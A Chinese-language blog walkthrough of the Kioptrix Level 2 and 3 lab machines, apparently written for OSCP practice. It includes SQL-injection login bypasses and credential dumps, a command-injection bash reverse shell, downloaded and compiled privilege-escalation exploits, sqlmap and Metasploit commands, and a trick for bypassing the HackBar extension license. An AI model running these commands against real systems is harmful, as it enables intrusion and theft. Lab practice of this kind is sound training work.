Home
avatar

静静

Day4 Kioptrix 系列靶机2-3

一点字 0分钟 渗透测试

关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。 关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。

2025年2月7日 22点36分

为了提高学习效率，我会在文章开头写日期和时间，末尾写结束时候的时间，看多久学的玩。有时候我也不是一口气学完，而是学一般要么有主业的工作打断，要么该睡觉了。

Kioptrix: Level 1.1 (#2)

2025年2月8日 14点15分

image-20250208134538337

在攻击机上输入ifconfig查看本机网段。

image-20250208134903741

nmap -sP 192.168.139.0/24 -T5

扫描网段，发现130网段，是靶机，本机是128，254是网关，1，2都是网关。打开网页看一下，推测是sql注入。

image-20250208135159123

nmap -sS -T5 192.168.139.130 -A
nmap -sS -T5 192.168.139.130 -p-

扫描靶机的端口。

image-20250208135335594

image-20250208135530608

image-20250208135656594

sql万能密码都试一遍。以下两个都可以

admin' and 1=1 -- +
admin' -- +

image-20250208140252720

网页提示让我们ping机器，但是没有ping的地方。dirb http://192.168.139.130/ 扫描目录发现一个没啥用的manual页面，先放着

image-20250208141312906

查看网页源码发现有括号没有闭合。

image-20250208141623810

image-20250208141759220

复制后粘贴修改源码，把括号闭合。

image-20250208141850984

image-20250208141936046

出现ping框。

image-20250208142031454

输入执行whoami的测试语句，能看到执行了whoami的语句。

image-20250208142103936

然后构造一个反弹shell的语句用来链接shell。到网站 https://www.ddosi.org/shell/ 可以快速构造反弹语句。

nc -lvnp 9001

在攻击机输入监听命令启动监听。

image-20250208142610118

在浏览器submit处的127.0.0.1 && 后面拼接反弹命令得到

127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.139.128/9001 0>&1

image-20250208142847482

成功回弹获得bash权限，接下来是提权为root账户。执行uname 和lsb_release -a发现版本号，搜索相关poc。

image-20250208142956021image-20250208143311537

从核心版本号2.6.9选择9542.c这个poc。

searchsploit -m 9542.c

image-20250208143529530

攻击机开启http服务，上传poc到靶机。

python -m http.server

image-20250208143634122

cd /tmp
wget http://192.168.139.128:8000/9542.c

image-20250208143959017

image-20250208144125461

编译执行，提权成功。

gcc -o exp 9542.c
./exp
whoami

2025年2月8日 14点55分

Kioptrix: Level 1.2 (#3)

开启靶机后，在攻击机扫描网段。以下命令多开终端同步扫。

nmap -sP 192.168.139.0/24 -T5
nmap -sS -T5 192.168.139.131 -p-
nmap -sS 192.168.139.131 -p- --min-rate 1000 -A
dirb http://192.168.139.131/

image-20250208144640601

image-20250208145744481

访问80端口看到网页，点了一圈没有发现。

image-20250208150020162

目录扫描发现php管理员登录入口。

image-20250208150110203

发现登录界面，用万能密码，只填用户名，密码部分留空。

image-20250208150320933

root" and 1=1 -- +

点击表，点击搜索，发现安全设置有问题，可以写文件。

show global variables like "secure%";

image-20250208150733727

image-20250208150752980

暂时没有想法，先从其他地方继续收集信息。从80网页点进去发现一个登录窗口。

image-20250208151143995

image-20250208151303981

主页点gallery会跳转到新的地址，但是图片之类的都显示不出来。

2025年2月8日 15点45分

中间去工作了，然后发现自己没有安装BurpSuit，原本装的Pro版，后来刷机刷没了，Yakit的劫持也忘了配置，浏览器插件没有装，去安装了一下。安装步骤可以看最后面。

2025年2月8日 18点49分

Lotus CMS 漏洞&passwd漏洞

先找找Lotus CMS有没有什么漏洞，这个是登录网页的框架。搜索发现如下工具。

https://github.com/Hood3dRob1n/LotusCMS-Exploit

image-20250208190937499

image-20250208191146193

选择1，反弹成功。

image-20250208191307841

image-20250208191353780

接下来需要提权成root。

目前这个中腹案不太好看，发现有python，给他弄成交互式终端。

python -c 'import pty; pty.spawn("/bin/bash")'

image-20250208191825137

查询终端信息。

image-20250208192009711

试了一些常规的提权方法不行，翻翻看文件夹，发现home文件夹下有个READEME文件。

image-20250208192350538


Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO
---
你好，新员工，使用我们新安装的软件来编辑、创建和查看文件是公司的规定。请使用命令“sudo ht”。如果不这样做，你将被立即解雇。DG首席执行官

image-20250208192553833

sudo了一下也不行。另一个文件好像也不是有用的。

image-20250208192734095

回到READEME的提示，会发现要执行的时候没有paswwd，所以想从etc/passwd方向入手。看到有两个poc：40847.cpp和40839.c

image-20250208193634473

编译第一个

g++ -o 40847 40847.cpp
./40847 -h
---
./40847 [-s] [-n] | [-h]

 -s  open directly a shell, if the exploit is successful;
 -n  combined with -s, doesn't restore the passwd file.
 -h  print this synopsis;

 If no param is specified, the program modifies the passwd file and exits.
 A copy of the passwd file will be create in the current directory as .ssh_bak
 (unprivileged user), if no parameter or -n is specified.

---
-s如果攻击成功，直接打开shell；
-n和-s组合，不恢复passwd文件。-h打印概要；
如果没有指定参数，程序将修改passwd文件并退出。
在当前目录中将以.ssh的形式创建passwd文件的副本_如果不指定参数或-n，则为Bak（非特权用户）。

image-20250208194612384

失败，换40839，编译报错，提示缺少库文件。

image-20250208195321220

image-20250208195408073

文件中给出了编译命令。

gcc -pthread 40839.c -o 40839 -lcrypt

image-20250208195505865

下载到靶机上编译执行。

image-20250208200238689

这里我没注意看，它提示重置密码，我直接输入成了ls，等待他执行改密操作。

image-20250208200337762

image-20250208200727922

他现在提示我现在可以用ls做密码登录账户firefart，注意添加 -o 参数，不然版本太低登不进去。登不进去就直接su firefart

ssh -o HostKeyAlgorithms=+ssh-rsa firefart@192.168.139.131

image-20250208201518717

image-20250208201615356

虽然名字不是root，但是权限是root。

页面sql注入漏洞

因为之前找到phpadmin登陆界面，应该是有sql漏洞的。

image-20250208185122537

主页点击浏览，发现有很多图片显示不出来，点击任意一个链接发现跳转新的域名，这个域名不是已经注册的，可能是跳转自己，但是DNS没有解析。

image-20250208185209404

修改本机Host文件，让这个域名解析到指定ip，就是靶机的ip。

image-20250208185631024

保存host文件，刷新一下浏览器就有了。

image-20250208185710784

image-20250208190129200

image-20250208190150024

发现疑似注入的入口。

image-20250208202722771

存在，可用，接下来就是调参了。

image-20250208202906817

image-20250208203002822

sqlmap 自动注入

image-20250208205719698

懒人用sqlmap走一下捷径，实际考试sqlmap有限制次数，所以小的能手注的还是练习一下。

sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* --dbs --batch
sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery --tables --batch
sqlmap -u http://192.168.139.131/gallery/gallery.php?id=1* -D gallery -T gallarific_users --dump-all

最后一步爆库很慢

image-20250208210749614 image-20250208213537024

手动注入

http://kioptrix3.com/gallery/gallery.php?id=1'  # 报错
http://kioptrix3.com/gallery/gallery.php?id=1   # 不报错，是整数型注入
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,33,44,55,66
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,database(),user(),44,55,66  
# 回显 database()为gallery，user()为root@localhost
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata
# 回显 information_schema,gallery,mysql
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(TABLE_NAME),44,55,66  from information_schema.TABLES where TABLE_SCHEMA=database()
# 回显 dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users
# gallarific_users 里可能会有用户名和密码 查表
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='gallarific_users' 
# 回显 userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,username,password,44,55,66 from  gallery.gallarific_users
# 回显 admin n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from  gallery.gallarific_users
# 回显 admin:n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(concat_ws(':',username,password)) ,44,55,66 from  gallery.dev_accounts
# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e

image-20250208211809257image-20250208211941599image-20250208212031716image-20250208212147363image-20250208212307000image-20250208212617570 image-20250208213037489 image-20250208213058048

# 回显 admin:n0t7t1k4
# 回显 dreg:0d3eccfb887aabd50f243b3f155c0f85,loneferret:5badcaf789d3d1d09794d8f021f40f0e
---
# 解密后为 https://www.cmd5.com/default.aspx
admin:n0t7t1k4
dreg:Mast3r
loneferret:starwars

image-20250208213318991 image-20250208213359488

ssh登录

ssh -oHostKeyAlgorithms=+ssh-rsa admin@192.168.139.131
ssh -oHostKeyAlgorithms=+ssh-rsa dreg@192.168.139.131
ssh -oHostKeyAlgorithms=+ssh-rsa loneferret@192.168.139.131

image-20250208215244026image-20250208215052868 image-20250208215313500

除了admin的账户登不上，其他的都可以登录，这里可以又回到之前的用passwd漏洞切换账户。

image-20250208215412071

suid 提权

也可以用suid方法提权。

find / -perm -u=s -type f 2>/dev/null # 发现有sudo 命令

image-20250208221055434

2025年2月8日 22点27分

做到这里一开始怀疑是40839的问题，后来解压了新靶机也不行，推测是靶机文件问题，从官方渠道下载新的。 https://download.vulnhub.com/kioptrix/KVM3.rar 等着下载，然后正好也歇一会

2025年2月8日 22点39分

按键盘alt+w唤出选择界面，选择打开/etc/sudoers。

image-20250208225735027image-20250208225825647

修改添加/bin/sh使root权限可以再bash中使用。保存退出。

image-20250208225606413

image-20250208230053377

MSF 工具箱 LotusCMS RCE

searchsploit lotuscms

image-20250208230547497

注意OSCP考试只能使用一次MSF工具箱，所以应该掌握多种攻击方法。

image-20250208231039381

先在2另一个终端开启监听。

set rhosts 192.168.139.132
set uri /index.php?system=Admin
set lhost 192.168.139.128
set lport 9001
set payload generic/shell_reverse_tcp

image-20250208235256674

然后再已经开启的9001端口就可以看得到回弹了。也可以把上述msf命令写成一行。

msfconsole -q -x 'use exploit/multi/http/lcms_php_exec;set uri /index.php?system=Admin;set rhosts 192.168.139.132;set lhost 192.168.139.128;set lport 9001;set payload generic/shell_reverse_tcp;run'

phpadmin 漏洞

使用LotusCMS漏洞进去后还有个地方进去。在配置文件下有数据库的账号密码。

cd gallery
cat gconfig.php
---
$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";

image-20250208232804725 image-20250208233130584 image-20250208233247825 image-20250208233302038image-20250208233338783

2025年2月9日 00点01分

到此刷完K3靶机，本来2到5是Day4一天的内容，但是我刷不完，就分两次做了。

参考

https://www.cnblogs.com/wsec/p/vulhub0x03.html#1-sqli%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5 https://blog.csdn.net/shulao2010/article/details/130818800

推荐安装插件

https://chromewebstore.google.com/detail/proxy-switchyomega-3-zero/pfnededegaaopdmhkdmcofjmoldfiped?hl=zh-CN&utm_source=ext_sidebar

切换代理的，也可以装FoxProxy等其他浏览器插件。

image-20250208180507152

https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?hl=zh-CN&utm_source=ext_sidebar

看网站框架信息

image-20250208180456037

https://chromewebstore.google.com/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi?hl=zh-CN&utm_source=ext_sidebar

黑客工具箱子，方便随时生成反弹shell，还有其他一些小工具。

image-20250208180417032

https://chromewebstore.google.com/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap?hl=zh-CN&utm_source=ext_sidebar

看网站域名所属信息。

image-20250208180632414

https://chromewebstore.google.com/detail/hunter-email-finder-exten/hgmhmanijnjhaffoampdlllchpolkdnj?hl=zh-CN&utm_source=ext_sidebar

社工找邮箱。

https://chromewebstore.google.com/detail/%E6%B2%89%E6%B5%B8%E5%BC%8F%E7%BF%BB%E8%AF%91-%E7%BD%91%E9%A1%B5%E7%BF%BB%E8%AF%91%E6%8F%92%E4%BB%B6-pdf%E7%BF%BB%E8%AF%91-%E5%85%8D%E8%B4%B9/bpoadfkcbjbfhfodiogcnhhhpibjhbnh?hl=zh-CN&utm_source=ext_sidebar

翻译网页

Hackbar破解方法

https://chromewebstore.google.com/detail/hackbar/

image-20250208174941774

image-20250208175118201

搜索ID值找到本地文件，找到第26行代码，将“license_ok=false”改为“license_ok=true”,然后在Chrome浏览器按“F12”键，选择HackBar，在License框中随便输入一个许可码image-20250208175300596

image-20250208175439173

https://portswigger.net/burp/releases/community/latest

Yakit和BurpSuit一样都可以抓包浏览器，不过Yakit是国产的，自带中文，还有很多漏洞扫描插件，不过OSCP考试时要求BurpSuit，对Yakit没有明确规定，如果要用要询问考官。

image-20250208164106635

BurpSuit配置

关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。

安装好启动后在浏览器种安装插件OmegaSwitch，然后点击设置，新建新的情景。按照如下端口设置。

image-20250208165323899

然后再浏览器中输入127.0.0.1:8080打开i如下界面表示启动成功，点击安装证书。

image-20250208165445267

打开浏览器安全设置安装证书，我建议用于渗透的浏览器是Google chrome，能支持大多数协议显示。建议和自己日常用的浏览器分开，不要存个人账户信息。

image-20250208165540533

image-20250208173634552

导入后切换代理为Burp模式，就能看到抓的包。

Yakit配置

Yakit配置和BurpSuit类似。新建一个情景模式，然后切换这个模式访问 http://mitm/ 自动下载证书，比叫方便。

image-20250208173804805

image-20250208173828532

image-20250208173916981

可以看到已经抓包成功了。

关注公众号泷羽Sec-静安，后台回复找工具+Day4获取BurpSuit 和Yakit安装包。

🔔 想要获取更多网络安全与编程技术干货？

关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻

扫描下方二维码，马上加入我们，共同成长！🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚

OSCP